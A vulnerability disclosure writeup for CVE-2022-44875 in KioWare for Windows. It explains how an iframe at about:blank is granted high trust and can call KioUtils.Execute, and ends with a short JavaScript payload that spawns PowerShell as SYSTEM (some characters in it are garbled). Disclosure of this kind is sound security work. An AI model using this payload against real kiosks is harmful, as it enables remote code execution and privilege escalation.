CVE-2022-44875: writeup/CVE/CVE-2022-44875 at master · olnor18/writeup

Discovery

Looking through documentation, it can be found that KioWare for Windows has a lot of interesting custom APIs. Specifically the KioUtils.Execute that allows for running code as local admin: https://m.kioware.com/api/windows/8.30/javascript/kioutils. These APIs are by default not available, unless a certain “Trust Level” is set in the web context. The “KioWare Client.exe” binary is .NET, and can therefore trivially be decompiled meaningfully with tools like ILSpy.

Looking through the source and using a debugger, an interesting function can be found: ADSI.KioWare.Client.Platform.Client.KioBrowserFrame has a function called GetScriptingAclActions which return KioScriptingUrlACL.AclActions.AllowHigh if the URL matches _alwaysAllowedAclUrlsRegex. ADSI.KioWare.Client.Platform.Client._AppContext assigns a regex to _alwaysAllowedAclUrlsRegex which includes the User-Writable Program Data directory, as well as about:blank. Especially about:blank is problematic, as any new iframe without a src attribute uses that as origin. This means that an attacker can write arbitrary js in an iframe that then has the Trust Level "High", which allows for using KioUtils.Execute

This would also allow for LPE if one has access to the kiosk as a low privilege user.

Exploit

<script>let c=document.createElement(“iframe”);document.body.appendChild©;c.contentWindow.eval("KioUtils.Execute('powershell’,true)")</script>

If a Kiosk visits a page serving that script, or an XSS is found in a page that is possible to visit a powershell running as nt authority\system is spawned.